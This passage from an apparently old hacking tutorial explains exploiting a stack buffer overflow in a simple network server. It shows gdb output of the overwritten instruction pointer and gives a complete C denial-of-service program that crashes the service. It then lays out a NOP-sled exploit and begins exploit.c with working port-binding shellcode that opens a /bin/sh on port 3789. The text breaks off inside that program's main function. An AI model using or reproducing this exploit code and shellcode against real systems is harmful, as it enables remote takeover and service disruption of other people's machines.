&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now the easy server program  doesn’t make anything else then getting a name and writing it back on  your screen…. Ok let’s go further…&lt;br /&gt;
While you made this, the gdb (debugger) wrote the following on the screen:&lt;br /&gt;
&lt;i&gt;client from 127.0.0.1 0xbffff28c&lt;/i&gt; &lt;br /&gt;
/*Don’t be confused if the address is different on your computer, on my box it is &lt;i&gt;0xbffff28c */&lt;/i&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Ok the server is still running because of the for-loop, so it’s always repeating until you kill the server program.&lt;br /&gt;
&lt;u&gt;3. Overflowing the server program&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Let's test something....&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now we reconnect to the service on port 8080 and put more than 1024 bytes of characters on the command line "My name is:..."&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;It should look like this... (I'll take A's *g*)...&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;user@hackfreak:~/ &amp;gt; &lt;b&gt;telnet localhost 8080&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Trying ::1...&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;telnet: connect to address ::1: Connection refused&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Trying 127.0.0.1...&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Connected to localhost.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Escape character is '^]'.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;My name is: &lt;b&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now the telnet client should be disconnected... but why? Let's look at the output of gdb:&lt;br /&gt;
&lt;i&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
0x41414141 in ?? ()&lt;br /&gt;
(gdb)&lt;br /&gt;
&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;// Don’t close gdb !!&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;What happened? As we can see, the eip is set to 0x41414141, probably you are asking why?&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;OK, I’ll try to explain it. 0x41 stands  for an ‘A’... as we put over 1024 bytes in, the program has tried to  copy the string name[2048] into&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;buffer[1024].... so because the string in name[2048] was greater than 1024 bytes, the name buffer has overwritten the buffer&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;and also overwritten the saved eip (extended instruction pointer, here is the returnaddress stored).. so our buffer&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;looks like this:&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;[xxxxx buffer-only-1024-bytes xxx] [EIP] &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Ok our stack should look like this. We’ve tried to put more than 1024 byte into buffer, and then we’ve overwritten the eip *g*.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;// don't forget .. eip has a size of 4 bytes !&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;After you overwrote the whole returnaddress, the function wanted to return to the main function, it jumped to the&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;wrong address (0x41414141) .... and so there was a segmentation fault.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now here's a DoS tool for this program:     &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;------------------------------------- dos.c ------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#include &amp;lt;netdb.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;int main(int argc, char **argv)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;{&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	struct sockaddr_in addr;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	struct hostent *host;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	char buffer[2048];&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	int s, i;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	if(argc != 3)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	{&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;		fprintf(stderr, "usage: %s &amp;lt;host&amp;gt; &amp;lt;port&amp;gt;\n", argv[0]);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;		exit(0);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; 	}&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	s  = socket(AF_INET, SOCK_STREAM, 0);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	if(s == -1)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	{&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;		perror("socket() failed\n");&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;		exit(0);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	}&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	host = gethostbyname(argv[1]);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	if( host == NULL)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	{&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;		herror("gethostbyname() failed");&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;		exit(0);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	}&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	addr.sin_addr = *(struct in_addr*)host-&amp;gt;h_addr;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	addr.sin_family = AF_INET;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	addr.sin_port = htons(atol(argv[2]));&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	if(connect(s, &amp;amp;addr, sizeof(addr)) == -1)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	{&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;		perror("couldn't connect so server\n");&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;		exit(0);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	}&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	/* Not difficult only filling buffer with A’s.... den sending nothing more */		&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	for(i = 0; i &amp;lt; 2048 ; i++)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;		buffer[i] = 'A';&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	printf("buffer is: %s\n", buffer);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	printf("buffer filled... now sending buffer\n");&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	send(s, buffer, strlen(buffer), 0);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	printf("buffer sent.\n");&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	close(s);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;	return 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;--------------------------------------------- EOF ------------------------------------------------------	&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;u&gt;4. Finding the return address&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;I only want to show you how the structure is of an remote exploit looks like, so let's find out what we are going to do:&lt;br /&gt;
First we open gdb and search for the esp... to find esp you can put  in the gdb.. (I hope you didn't close gdb) after getting a SEGFAULT...  ok now type this &lt;b&gt;x/200bx $esp-200 &lt;/b&gt;in, so you should get an ouput of addresses... It should look like this :&lt;br /&gt;
(gdb) &lt;b&gt;x/200bx $esp-200&lt;/b&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff5cc:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff5d4:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff5dc:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff5e4:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff5ec:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff5f4:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff5fc:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff604:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff60c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff614:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff61c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff624:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff62c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff634:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff63c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff644:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff64c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff654:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff65c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff664:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff66c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff674:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;0xbffff67c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Ok know we know that we've overwritten the whole buffer, so let's take one of those addresses... I'll show you later&lt;br /&gt;
why this... (because we want to guess the address), maybe you know the NOP's technique... so it shouldn't be any problem to&lt;br /&gt;
make our exploit working as well.... or to make our chance bigger to guess the return-address.&lt;br /&gt;
&lt;b&gt;Attention&lt;/b&gt; don’t take the nearest address near the end  of the 0x41, take an address which is in the middle, we’ll overwrite it  later with NOPs.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;5. Structure of the exploit code&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;So we've got a possible return address, let's try to use it... the exploit code should be structured like this:&lt;/span&gt;&lt;br /&gt;
&lt;dir&gt;  &lt;span style="font-family: Verdana; font-size: x-small;"&gt;1.  First let's find out the esp.. ok  we've got it. (ok we've got an address near the esp, that isn't any  problem, because we’ll fill the buffer with NOP's)... then you should  find a good shellcode which binds a shell on a port... Don't forget: in  remote exploits we can't use local exploit shellcodes.. ok we could, but  it isn’t very clever. So we have to find another way to get a shell.  What about a portbinder shellcode, which binds a shell on a port ?? &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Ok in the net are many of these portbinder shellcodes .. i.e. www.hack.co.za or my page *g*.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;2.  Declaring a buffer which is bigger  than 1024 bytes...  let's make it 1064 bytes, so there is no problem to  overwrite eip.. so don't forget you only have to declare a buffer which  is greater than 1024 bytes...&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;3.  Let's prepare the buffer. Now let's first fill the whole buffer with NOP's:&lt;br /&gt;
&lt;b&gt;&lt;i&gt;memset(buffer, 0x90, 1064);&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;4.  Let's copy the shellcode into the buffer&lt;br /&gt;
&lt;b&gt;&lt;i&gt;memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode)); &lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Here we put the shellcode in the middle of the buffer&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Why? Ok, if we got enough NOPS at the beginnig, our chance is getting better to execute the shellcode&lt;/span&gt;&lt;br /&gt;
&lt;/dir&gt;  &lt;span style="font-family: Verdana; font-size: x-small;"&gt;5.  Let's terminate the Nullbyte in the buffer&lt;/span&gt;&lt;br /&gt;
&lt;dir&gt;  &lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;b&gt;&lt;i&gt;buffer[1000] = 0x90;&lt;/i&gt;&lt;/b&gt;  // 0x90 is the NOP in hexadecimal&lt;/span&gt;&lt;br /&gt;
&lt;/dir&gt;  &lt;span style="font-family: Verdana; font-size: x-small;"&gt;6.  Let's copy the returnaddress at the end of the buffer&lt;/span&gt;&lt;br /&gt;
&lt;dir&gt;  &lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;b&gt;&lt;i&gt;for(i = 1022; i &amp;lt; 1059; i+=4)&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;b&gt;&lt;i&gt;{&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;dir&gt; &lt;dir&gt; &lt;dir&gt;  &lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;b&gt;&lt;i&gt;((int *) &amp;amp;buffer[i]) = RET;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;b&gt;&lt;i&gt;// RET is the returnaddress we want to use... #define in the header&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/dir&gt; &lt;/dir&gt; &lt;/dir&gt;  &lt;b&gt;&lt;i&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt;	&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt;}&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;We  know that the buffer ends by 1024 bytes, but to get sure we begin on  1022, then we’re copying the returnaddress until we’ve got 1059 bytes..  that is enough because we've already overwritten the eip (we hope so  *g*).&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;7.  Let's add a \0 Nullbyte at the end of our prepared buffer:&lt;br /&gt;
&lt;b&gt;&lt;i&gt;buffer[1063] = 0x0;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now we've prepared our buffer, now we only need to send it to the vulnerable host.. by port and host or ip.&lt;/span&gt;&lt;br /&gt;
&lt;/dir&gt;  &lt;span style="font-family: Verdana; font-size: x-small;"&gt;-------------------------------------------- exploit.c --------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;/* Simple remote exploit, which binds a shell on port 3789&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; * by triton&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; *&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; * After return address was overwritten, you can connect &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; * with telnet or netcat to the victim host on Port 3789&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; * After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; * So you should get an output, ok you’ve got a shell *g*. Always use:&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; *&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; * &amp;lt;command&amp;gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; *&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; * execute.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt; */&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#include &amp;lt;netdb.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;//Portbinding Shellcode&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;char shellcode[] =&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;//standard offset (probably must be modified)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#define RET 0xbffff5ec &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;int main(int argc, char *argv[]) {&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;char buffer[1064];&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;int s, i, size;&lt;/span&gt;&lt;br /&gt;
